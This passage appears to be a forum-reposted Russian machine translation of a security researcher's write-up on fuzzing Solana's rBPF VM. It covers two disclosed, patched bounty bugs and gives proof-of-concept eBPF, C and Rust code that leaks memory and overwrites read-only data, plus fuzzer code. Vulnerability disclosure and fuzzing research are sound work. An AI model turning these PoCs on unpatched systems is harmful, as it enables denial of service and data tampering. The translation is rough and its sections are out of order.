НЕ СОЗДАВАЙТЕ ПРОБЛЕМУ, чтобы сообщить о проблеме безопасности. Вместо этого отправьте электронное письмо по адресу security@solana.com и укажите свое имя пользователя на github, чтобы мы могли добавить вас в новый проект рекомендаций по безопасности для дальнейшего обсуждения.
Click to expand...
Ладно, достаточно разумно. Похоже, у них тоже есть награды за ошибки!
DoS-атаки: 100 000 долларов США в заблокированных токенах SOL (заблокировано на 12 месяцев)
Click to expand...
Вау. Я работал над rBPF из любопытства, но, похоже, здесь доступно довольно много наград. Я отправил отчет об ошибке по электронной почте 31 января, и всего через три часа Солана признала ошибку. Ниже представлен отчет, представленный Солане:
Отчет об ошибке 1, отправленный Солане.
В solana_rbpf (в частности, в [src/jit.rs ](https://github.com/solana- labs/rbpf/blob/886ed9d9ac45a483a1ce64fa3eb08ed9bf556681/src/jit.rs)) существует уязвимость исчерпания ресурсов, которая затрагивает программы eBPF, скомпилированные JIT (как программы ELF, так и программы insn_builder). Злоумышленник, способный загружать и выполнять программы eBPF, может исчерпать ресурсы памяти для программы, выполняющей JIT-компилированные программы solana_rbpf. Уязвимость возникает из-за того, что JIT-компилятор выдает ошибку неразрешенного символа при попытке вызвать неизвестный хэш после превышения предела счетчика команд. R[ust call emitted to Executable::report_unresolved_symbol](https://github.com/solana- labs/rbpf/blob/886ed9d9ac45a483a1ce64fa3eb08ed9bf556681/src/jit.rs#L1273) выделяет строку («Неизвестно» или символ перемещения, связанный с вызовом) с помощью [.to_string() ](https://github.com/solana- labs/rbpf/blob/886ed9d9ac45a483a1ce64fa3eb08ed9bf556681/src/elf.rs#L341), который выполняет выделение кучи. Однако, поскольку вызов rust завершается [вычитанием счетчика команд и проверкой ](https://github.com/solana- labs/rbpf/blob/886ed9d9ac45a483a1ce64fa3eb08ed9bf556681/src/jit.rs#L1279), проверка вызывает досрочное завершение программы с ошибкой Err(ExceededMaxInstructions(_, _)). В результате ссылка на ошибку, которая содержит строку, теряется, и поэтому строка никогда не удаляется, что приводит к утечке памяти кучи.
Следующая программа eBPF демонстрирует уязвимость:
Code:Copy to clipboard
entrypoint:
goto +0
r0 = 0
call -1
где непосредственный аргумент tail-вызова представляет собой неизвестный хэш (его можно скомпилировать напрямую, но не дизассемблировать), а счетчик инструкций установлен на 2 оставшихся инструкции.
Оптимизация, используемая в jit.rs только для обновления счетчика инструкций, срабатывает после инструкции ja, и впоследствии инструкция mov64 не обновляет счетчик инструкций, несмотря на то, что здесь она должна предотвратить дальнейшее выполнение. Затем инструкция call выполняет поиск несуществующего символа, что приводит к выполнению Executable::report_unresolved_symbol, которое выполняет распределение. Вызов завершается и снова обновляет счетчик инструкций, теперь вместо этого выдавая ошибку ExceededMaxInstructions и теряя ссылку на строку, выделенную в куче. Хотя утечка в этом примере составляет всего 7 байтов на выдаваемую ошибку (поскольку загруженная строка символов «Неизвестна»), можно создать ELF с записью перемещения произвольного размера, указывающей на смещение вызова, что приведет к гораздо более быстрому исчерпанию ресурсов памяти. Такой пример прилагается с исходным кодом. Я смог исчерпать всю память на своей машине за несколько секунд, просто многократно выполняя jit-выполнение этого двоичного файла. Можно создать более крупную запись о перемещении, но я думаю, что приведенный пример достаточно ясно показывает уязвимость. Прилагается файл Rust (elf-memleak.rs), который можно поместить в каталог examples/ файла solana_rbpf, чтобы проверить наличие evil.{c,h,so}. Настоятельно рекомендуется запустить его на короткий период времени и быстро отменить, так как он быстро исчерпывает ресурсы памяти для операционной системы. Кроме того, теоретически можно вызвать такое поведение в программах, не загруженных злоумышленником, отправив специально созданные полезные нагрузки, которые вызывают неправильное поведение этого счетчика. Однако это маловероятно, потому что такую полезную нагрузку также нужно будет отправить цели, которая имеет неразрешенный символ.
По этим причинам я предлагаю классифицировать эту ошибку как DoS-атаки (не RPC).
Солана классифицировала эту ошибку как отказ в обслуживании (не RPC) и присудила 100 тысяч долларов.
Вторую ошибку, о которой я сообщил, было легко найти, но трудно диагностировать. Хотя ошибка возникала довольно часто, было неясно, что именно вызвало ошибку. Помимо этого, было ли это вообще пригодным для использования или полезным?
[Первоначальное расследование](https://secret.club/2022/05/11/fuzzing- solana-2.html#initial-investigation-1)
Входные данные, вызвавшие сбой, дизассемблируются в следующую сборку:
Code:Copy to clipboard
entrypoint:
or32 r9, -1
mov32 r1, -1
stxh [r9+0x1], r0
exit
Инициированный тип сбоя представлял собой разницу в состоянии выхода JIT и интерпретатора; JIT завершается с Ok(0), тогда как интерпретатор завершается:
Code:Copy to clipboard
Err(AccessViolation(31, Store, 4294967296, 2, "program"))
Похоже, наша JIT-реализация имеет некоторую форму записи за пределами границ. Давайте исследуем немного дальше.
Первое, на что следует обратить внимание, это адрес нарушения прав доступа: 4294967296. Другими словами, 0x100000000. Заглянув в документацию Solana , мы видим, что этот адрес соответствует коду программы.
Мы пишем JIT-код??
Ответ, дорогой читатель, к сожалению, нет. Какой бы захватывающей ни была перспектива выполнения произвольного кода, на самом деле это относится к программному коду BPF, а точнее, к данным, доступным только для чтения, присутствующим в предоставленном ELF. Несмотря на это, он пишет неизменяемую ссылку на Vec где программный код, который [должен быть доступен только для чтения ](https://docs.solana.com/developing/on-chain-programs/overview#static- writable-data).
Так почему же это не так?
Давайте сделаем нашу полезную нагрузку более понятной и выполним ее напрямую, а затем поместим ее в gdb, чтобы точно увидеть, какой код генерирует JIT- компилятор. Я использовал следующую программу для проверки записи OOB:
oob-write.rs
Этот код, вероятно, больше не работает из-за изменений в API rBPF, которые изменились в последних выпусках. Попробуйте это в examples/ в версии 0.2.22, где уязвимость все еще присутствует.
Этот код устанавливает и выполняет следующую сборку BPF:
Code:Copy to clipboard
entrypoint:
lddw r9, 0x100000000
stxh [r9+0x0], r0
exit
Этот код просто записывает от 0 до 0x100000000.
Для следующей части: пожалуйста, ради бога, используйте GEF
Code:Copy to clipboard
$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤ break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤ run
gef➤ print self.executable.ro_section.buf.ptr.pointer
gef➤ awatch *$1 # break if we modify the readonly section
gef➤ record full # set up for reverse execution
gef➤ continue
После этого последнего продолжения мы эффективно выполняем до тех пор, пока не получим доступ для записи к нашему разделу только для чтения. Кроме того, мы можем отступить назад в программе, пока не найдем свое ошибочное поведение. Просмотреена память записывается в результате [этой инструкции сохранения X86 ](https://github.com/solana- labs/rbpf/blob/v0.2.22/src/jit.rs#L1112)(напоминаем, что это ветвь для stxh). Увидев это emit_address_translationвызов выше, мы можем определить, что эта функция, вероятно, обрабатывает преобразование адресов и проверяет только чтение. Дальнейший осмотр показывает, что emit_address_translation на самом деле вызывает вызовает… чего-то:
Code:Copy to clipboard
emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;
Итак, это какое-то глобальное смещение для этой JIT-программы для преобразования адреса памяти. Путем поиска TARGET_PC_TRANSLATE_MEMORY_ADDRESS в другом месте программы мы находим [цикл, который инициализирует различные виды трансляции памяти ](https://github.com/solana- labs/rbpf/blob/v0.2.22/src/jit.rs#L1460).
Прокручивая это, мы находим нашу проверку доступа:
Code:Copy to clipboard
X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0
Итак, команда x86 cmp для поиска использует адрес назначения [rax+0x19]. Пара rsiпозже найти такую инструкцию и мы находим:
Code:Copy to clipboard
cmp DWORD PTR [rax+0x19], 0x0
Что, в частности, не использует 8-битный операнд в качестве cmp_immediate как вызов предлагает. Так что же здесь происходит?
[Вот определение X86Instruction::cmp_immediate ](https://github.com/solana- labs/rbpf/blob/v0.2.22/src/x86.rs#L289):
Code:Copy to clipboard
pub fn cmp_immediate(
size: OperandSize,
destination: u8,
immediate: i64,
indirect: Option<X86IndirectAccess>,
) -> Self {
Self {
size,
opcode: 0x81,
first_operand: RDI,
second_operand: destination,
immediate_size: OperandSize::S32,
immediate,
indirect,
..Self::default()
}
}
Это создает инструкцию x86 с кодом операции 0x81. При ближайшем рассмотрении и сопоставлении со ссылкой на код операции x86-64 можно обнаружить, что код операции 0x81 определен только для 16-, 32- и 64-битных регистровых операндов. Если вы хотите использовать 8-битный регистровый операнд, вам нужно использовать вариант кода операции 0x80 .
[Именно этот патч применяется ](https://github.com/solana- labs/rbpf/pull/266/files#diff-839b61fd13fd8bd3feeced4c5e536287800c4375a5cb203cdee72c0a87c5f38bR308).
компиляторов](https://secret.club/2022/05/11/fuzzing-solana-2.html#a-quick- side-note-about-testing-code-with-different-compilers)
Эта ошибка на самом деле была немного более странной, чем кажется на первый взгляд. Из-за различий в заполнении структур Rust между версиями, в то время, когда я сообщил об ошибке, разница в стабильной версии была ложной. В результате вполне вероятно, что никто не заметил бы ошибку до следующей версии релиза Rust.
Из моего отчета:
Вполне вероятно, что эта ошибка не была обнаружена ранее из-за непоследовательного поведения между различными версиями Rust. Во время тестирования было обнаружено, что стабильная версия не всегда имеет ненулевое заполнение полей, в отличие от stable debug, nightly debug, and nightly release версии.
Click to expand...
Хорошо, теперь нужно создать PoC, чтобы люди, проверяющие ошибку, могли ее проверить. Как и в прошлый раз, мы создадим ELF вместе с несколькими различными демонстрациями эффектов ошибки. В частности, мы продемонстрируем, что значения только для чтения в BPF могут постоянно изменяться, поскольку наши записи влияют на исполняемый файл и, следовательно, на все будущие выполнения JIT-программы.
value_in_ro.c
Эта программа должна завершиться ошибкой, так как перезаписываемые данные должны быть доступны только для чтения. Он будет выполнен howdy.rs.
Code:Copy to clipboard
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
howdy.rs
Эта программа загружает скомпилированную версию value_in_ro.cи прикрепляет системный вызов журнала, чтобы мы могли видеть поведение внутри. Я подтвердил, что этот системный вызов не повлиял на поведение во время выполнения.
Code:Copy to clipboard
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
elf::Executable,
insn_builder::{
BpfCode,
Instruction,
IntoBytes,
MemSize,
},
user_error::UserError,
verifier::check,
vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
Эта программа при выполнении имеет следующий вывод:
howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!
Эти первые два файла демонстрируют возможность постоянной перезаписи данных только для чтения, присутствующих в двоичных файлах. Обратите внимание, что на самом деле мы выполняем JIT-код несколько раз, но наши изменения значения в data являются устойчивыми.
solana-2.html#implications)
Предположим, что в программе on-chain, основанной на BPF, имеется ошибочное смещение или управляемое пользователем смещение. Злоумышленник может изменить данные программы только для чтения, чтобы заменить определенные контексты. В лучшем случае это может привести к DoS программы. В худшем случае это может привести к подмене сумм средств, адресов кошельков и т.д.
Собрав мои доказательства концепции, мои выводы и так далее, я отправил следующий отчет Солане 4 февраля:
Операнд памяти неправильного размера, созданный [src/jit.rs:1490 ](https://github.com/solana- labs/rbpf/blob/443208e0215b2c606c5c5d28d75890c034512a5e/src/jit.rs#L1490), может привести к повреждению раздела .rodata из-за неправильной [is_writable ](https://github.com/solana- labs/rbpf/blob/443208e0215b2c606c5c5d28d75890c034512a5e/src/memory_region.rs#L22)проверки Выдаваемый cmp — это cmp DWORD PTR [rax+0x19], 0x0. В результате, когда неинициализированные данные, присутствующие в заполнении поля [MemoryRegion ](https://github.com/solana- labs/rbpf/blob/443208e0215b2c606c5c5d28d75890c034512a5e/src/memory_region.rs#L22), отличны от нуля, сравнение завершится ошибкой и предполагается, что раздел доступен для записи. Данные, которые перезаписываются, сохраняются в течение всего времени существования экземпляра исполняемого файла, поскольку перезаписанные данные находятся в разделе [Executable.ro_section ](https://github.com/solana- labs/rbpf/blob/443208e0215b2c606c5c5d28d75890c034512a5e/src/elf.rs#L247)и, таким образом, влияют на будущие выполнения программы без перекомпиляции.
Вполне вероятно, что эта ошибка не была обнаружена ранее из-за непоследовательного поведения между различными версиями Rust. Во время тестирования было обнаружено, что стабильная версия не всегда имеет ненулевое заполнение полей, в отличие от стабильной отладки, ночной отладки и ночной версии.
Первый сценарий атаки, в котором может быть использована эта уязвимость, заключается в повреждении предполагаемых данных только для чтения; см. value_in_ro.{c,so} (предназначенный для размещения в тестах/elfs/) в качестве примера такого поведения. Приведенный пример является надуманным, но в сценариях, где программы BPF неправильно очищают смещения во входных данных, удаленные злоумышленники могут создать полезную нагрузку, которая повреждает данные в разделе .rodata и, таким образом, заменяет секреты, рабочие данные и т. д. в худшем случае это может включать замену важных данных, таких как фиксированные адреса кошелька, на время существования экземпляра исполняемого файла, что может быть многократным выполнением. Чтобы проверить это поведение, обратитесь к howdy.rs (предназначен для размещения в examples/). Если вы обнаружите, что поведение с повреждением не проявляется, попробуйте использовать другой уровень оптимизации или компилятор.
Второй сценарий атаки заключается в повреждении исходного кода BPF, что отравляет будущий анализ и компиляцию. В худшем случае (что, вероятно, не является допустимым сценарием), если исполняемый файл ошибочно JIT- компилируется во второй раз после однократного выполнения JIT-компиляции, JIT- компиляция может выдать непроверенные инструкции BPF, поскольку верификатор, используемый в [from_elf ](https://github.com/solana- labs/rbpf/blob/443208e0215b2c606c5c5d28d75890c034512a5e/src/vm.rs#L249)/ [from_text_bytes ](https://github.com/solana- labs/rbpf/blob/443208e0215b2c606c5c5d28d75890c034512a5e/src/vm.rs#L255), не используется для компиляции. Анализ и трассировка также повреждены, что может быть использовано для сокрытия или искажения ранее выполненных инструкций. Пример последнего приведен на сайте analysis-corporation.rs (предназначен для размещения в examples/). Если вы обнаружите, что поведение с повреждением не проявляется, попробуйте использовать другой уровень оптимизации или компилятор.
Хотя эта уязвимость в значительной степени не классифицируется предоставленной политикой безопасности, из-за возможности повреждения предполагаемых данных только для чтения, я предлагаю отнести эту уязвимость к категории «Другие атаки» или «Нарушения безопасности».
value_in_ro.c
Code:Copy to clipboard
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
analysis-corruption.rs
Code:Copy to clipboard
use std::collections::BTreeMap;
use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
let mut code = BpfCode::default();
code
.load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
.load(MemSize::Word).set_imm(1).push()
.store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
.exit().push();
let prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
let jit_tracer = jit_vm.get_tracer();
let analysis = Analysis::from_executable(&executable);
let stderr = std::io::stderr();
jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
howdy.rs
Code:Copy to clipboard
use std::fs::File;
use std::io::Read;
use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
Ошибка была исправлена всего за 4 часа.
Солана классифицировала эту ошибку как отказ в обслуживании (не RPC) и
присудила 100 тысяч долларов.
Хорошо, так что ты сделал с деньгами??
Было бы дурным тоном с моей стороны не объяснить невероятную гибкость, проявленную Соланой, с точки зрения того, как они распорядились моей выплатой. Я намеревался пожертвовать средства Техасскому клубу кибербезопасности A&M, в котором я приобрел много навыков, необходимых для проведения этого исследования и этих эксплойтов, и Солана была очень готова обойти их перечисленную политику и пожертвовать средства непосредственно в долларах США, а не заставляя меня распоряжаться токенами самостоятельно, что резко повлияло бы на сумму, которую я мог бы пожертвовать из-за налогов. Итак, несмотря на мои опасения по поводу их политики, я был очень доволен их готовностью удовлетворить мои пожелания с выплатой вознаграждения.
Перевод статьи - <https://secret.club/2022/05/11/fuzzing- solana-2.html#initial-investigation>
Применив известные методы фаззинга к популярной цели, я обнаружил несколько ошибок, которые в общей сложности принесли более 200 тысяч долларов вознаграждения. В этой статье я покажу, насколько мощным может быть фаззинг применительно к программному обеспечению, которое еще не прошло достаточного тестирования.
Я призываю вас всех, даже тех, кто еще не пробовал свои силы в фаззинге, начинайте!
Несколько друзей и я запустили небольшой сервер Discord (теперь пространство Matrix), на котором мы обсуждали методы исследования безопасности и уязвимостей. Одна из вещей, которые мы запускаем на сервере, — это бот, который публикует все CVE по мере их появления. И да, я их много читал.
Однажды бот опубликовал то, что бросилось мне в глаза:
Это отмечает точку отсчета: 28 января. Я заметил этот CVE, в частности, по двум причинам:
Этот CVE обнаружился почти сразу после того, как я разработал довольно интенсивный фаззинг для некоторого моего собственного программного обеспечения на Rust (в частности, ящик для проверки решений sokoban, где я наблюдал аналогичные проблемы и думал, что «это выглядит знакомо»). Зная то, что я узнал из своего опыта фаззинга собственного программного обеспечения, и то, что ошибки в программах на Rust можно довольно легко найти с помощью комбинации грузового фаззинга и произвольного , я подумал: «Эй, а почему бы и нет?».
Solana , как многие из вас, вероятно, знают,
«представляет собой децентрализованный блокчейн, созданный для создания
масштабируемых и удобных приложений для всего мира». В первую очередь они
известны своей криптовалютой SOL, но также представляют собой блокчейн,
который работает практически с любой формой смарт-контракта. rBPF
— это самопровозглашенная «виртуальная
машина Rust и JIT-компилятор для программ eBPF». Примечательно, что он
реализует как интерпретатор, так и компилятор JIT для программ BPF. Другими
словами: две разные реализации одной и той же программы, которые теоретически
демонстрируют одинаковое поведение при выполнении. Мне посчастливилось пройти
курс тестирования программного обеспечения в университете и быть частью
исследовательской группы, занимающейся фаззингом (правда, мы занимались
фаззингом аппаратного обеспечения, а не программного обеспечения, но концепции
перекликаются). Концепция, за которую я особенно уцепился, — это идея
тестовых оракулов — способ
различить, что является «правильным» поведением, а что — нет в тестируемом
проекте.
В частности, наличие интерпретатора и JIT-компилятора в rBPF особенно
выделялось тем, что у нас, по сути, был совершенный псевдооракул; как пишет
Википедия :
отдельно написанная программа, которая может принимать те же входные данные, что и тестируемая программа или система, чтобы можно было сравнить их выходные данные, чтобы понять, может ли возникнуть проблема для исследования.
Click to expand...
Те из вас, у кого больше опыта в фаззинге, узнают эту концепцию как дифференциальный фаззинг , но я думаю, что мы часто можем упускать из виду, что дифференциальный фаззинг — это просто еще одно лицо псевдооракула. В этом конкретном случае мы можем выполнить интерпретатор, одну реализацию rBPF, а затем выполнить JIT-компилированную версию, другую реализацию с теми же входными данными (т. е. состоянием памяти, точкой входа, кодом и т. д. Если да, то одно из них обязательно должно быть неверным, согласно описанию rBPF: две реализации абсолютно одинакового поведения.
Для начала, давайте попробуем добавить в него кучу входных данных, не настраиваясь на что-то конкретное. Это позволяет нам проверить, действительно ли наша базовая реализация фаззинга работает так, как мы ожидаем.
Во-первых, нам нужно выяснить, как выполнить интерпретатор. К счастью, есть несколько примеров этого, легко доступных в различных тестах. Я сослался на test_interpreter_and_jit макрос присутствует в ubpf_execution.rs в качестве основы для [моего фаззера.](https://github.com/solana- labs/rbpf/blob/main/fuzz/fuzz_targets/dumb.rs) Я предоставил последовательность компонентов, которые вы можете просмотреть по частям, прежде чем переходить ко всему фаззеру.
**Шаг 1: определение наших входных данных
Мы должны определить наши входные данные так, чтобы они действительно были полезны для нашего фаззера. К счастью, [arbitrary ](https://github.com/rust- fuzz/arbitrary)делает почти тривиальным получение входных данных из необработанных байтов.**
Code:Copy to clipboard
#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
template: ConfigTemplate,
prog: Vec<u8>,
mem: Vec<u8>,
}
Если вы хотите увидеть определение ConfigTemplate, вы можете проверить его в [common.rs ](https://github.com/solana- labs/rbpf/blob/main/fuzz/fuzz_targets/common.rs), но все, что вам нужно знать, это то, что его цель — протестировать интерпретатор в различных конфигурациях выполнения.
Шаг 2. Настройка виртуальной машины
Затем следует настройка fuzz_target и виртуальной машины. Это позволит нам не только выполнить наш тест, но и позже проверить правильность поведения.
Code:Copy to clipboard
fuzz_target!(|data: DumbFuzzData| {
let prog = data.prog;
let config = data.template.into();
if check(&prog, &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
&prog,
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
// TODO in step 3
});
Шаг 3: Выполнение нашего ввода и сравнение вывода
На этом этапе мы просто запускаем виртуальную машину с предоставленным вводом. В будущих итерациях мы сравним вывод интерпретатора и JIT, но в этой версии мы просто выполняем интерпретатор, чтобы посмотреть, можем ли мы вызвать сбои.
Code:Copy to clipboard
fuzz_target!(|data: DumbFuzzData| {
// see step 2 for this bit
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1024 },
)));
});
Здесь я использую black_box, но не совсем уверен, что это необходимо. Я добавил его, чтобы гарантировать, что результат выполнения интерпретируемой программы не будет просто отброшен и, следовательно, выполнение не будет помечено как ненужное, но я вполне уверен, что это не будет независимо. Обратите внимание, что мы не проверяем, не произошло ли здесь выполнение. Если программа BPF не работает: нам все равно! Нам важно только, если виртуальная машина выйдет из строя по какой-либо причине.
Шаг 4: Соберем все вместе
Spoiler: Тупой фазер
Ниже приведен окончательный код фаззера, включая все биты, которые я не показал выше для краткости.
Code:Copy to clipboard
#![feature(bench_black_box)]
#![no_main]
use std::collections::BTreeMap;
use std::hint::black_box;
use libfuzzer_sys::fuzz_target;
use solana_rbpf::{
ebpf,
elf::{register_bpf_function, Executable},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
template: ConfigTemplate,
prog: Vec<u8>,
mem: Vec<u8>,
}
fuzz_target!(|data: DumbFuzzData| {
let prog = data.prog;
let config = data.template.into();
if check(&prog, &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
&prog,
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1024 },
)));
});
Теоретически актуальная версия доступна в репозитории rBPF .
Мини - итог:
Code:Copy to clipboard
$ cargo +nightly fuzz run dumb -- -max_total_time=300
... snip ...
#2902510 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 134/3126 MS: 3 ChangeBit-InsertByte-PersAutoDict- DE: "\x07\xff\xff3"-
#2902537 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 60/3126 MS: 2 ChangeBinInt-EraseBytes-
#2905608 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 101/3126 MS: 1 EraseBytes-
#2905770 NEW cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 61/3126 MS: 2 ShuffleBytes-CrossOver-
#2906805 DONE cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9657 rss: 355Mb
Done 2906805 runs in 301 second(s)
После выполнения фаззера мы можем оценить его эффективность при поиске интересных входных данных, проверив его покрытие после выполнения в течение заданного времени (обратите внимание на использование -max_total_time флага). В этом случае я хочу определить, насколько хорошо он охватывает функцию, которая обрабатывает [выполнение интерпретатора ](https://github.com/solana- labs/rbpf/blob/main/src/vm.rs#L709). Для этого я использую следующие команды:
Code:Copy to clipboard
$ cargo +nightly fuzz coverage dumb
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/dumb -instr-profile=fuzz/coverage/dumb/coverage.profdata -show-line-counts-or-regions -name=execute_program_interpreted_inner
Вывод команды rust-cov
Если вы не знакомы с выводом покрытия llvm, первый столбец — это номер строки,
второй столбец — количество раз, когда эта конкретная строка была
использована, а третий столбец — это сам код.
https://anonfiles.com/x7Tc2djdy5/_rust-cov_txt
К сожалению, этот фаззер, похоже, не обеспечивает ожидаемого охвата. Несколько
инструкций пропущены (обратите внимание на покрытие 0 на некоторых ветвях
совпадения), и нет переходов, вызовов или других инструкций, связанных с
потоком управления. Во многом это связано с тем, что бросание случайных байтов
в любой парсер просто не будет эффективным; большая часть вещей будет
обнаружена на этапе проверки, и очень немногие действительно будут тестировать
программу.
Мы должны улучшить это, прежде чем продолжить, или мы будем вечно ждать,
пока наш фаззер найдет полезные ошибки.
На данный момент у нас около двух часов разработки.
eBPF — довольно простой набор инструкций; Вы можете прочитать [полное
определение ](https://www.kernel.org/doc/html/latest/bpf/instruction-
set.html)всего на нескольких страницах. Зная это: почему бы нам не ограничить
наш ввод только этими инструкциями? Этот подход обычно называют фаззингом с
учетом грамматики из-за того, что входные данные ограничены некоторой
грамматикой. Это очень мощная концепция и используется для тестирования
множества больших целей, которые имеют строгие правила синтаксического
анализа.
Чтобы создать этот фаззер с учетом грамматики, я изучил файл insn_builder.rs с
услужливым названием [, ](https://github.com/solana-
labs/rbpf/blob/main/src/insn_builder.rs)который позволил мне создать
инструкции. Теперь все, что мне нужно было сделать, это представить все
различные инструкции. Ссылаясь на документацию eBPF, мы можем представить
каждую возможную операцию в одном перечислении. вы можете увидеть [весь
файлgram.rs в репозитории rBPF ](https://github.com/solana-
labs/rbpf/blob/main/fuzz/fuzz_targets/grammar_aware.rs), но два наиболее
важных раздела представлены ниже.
Определение перечисления, представляющего все инструкции
#[derive(arbitrary::Arbitrary, Debug, Eq, PartialEq)]
pub enum FuzzedOp {
Add(Source),
Sub(Source),
Mul(Source),
Div(Source),
BitOr(Source),
BitAnd(Source),
LeftShift(Source),
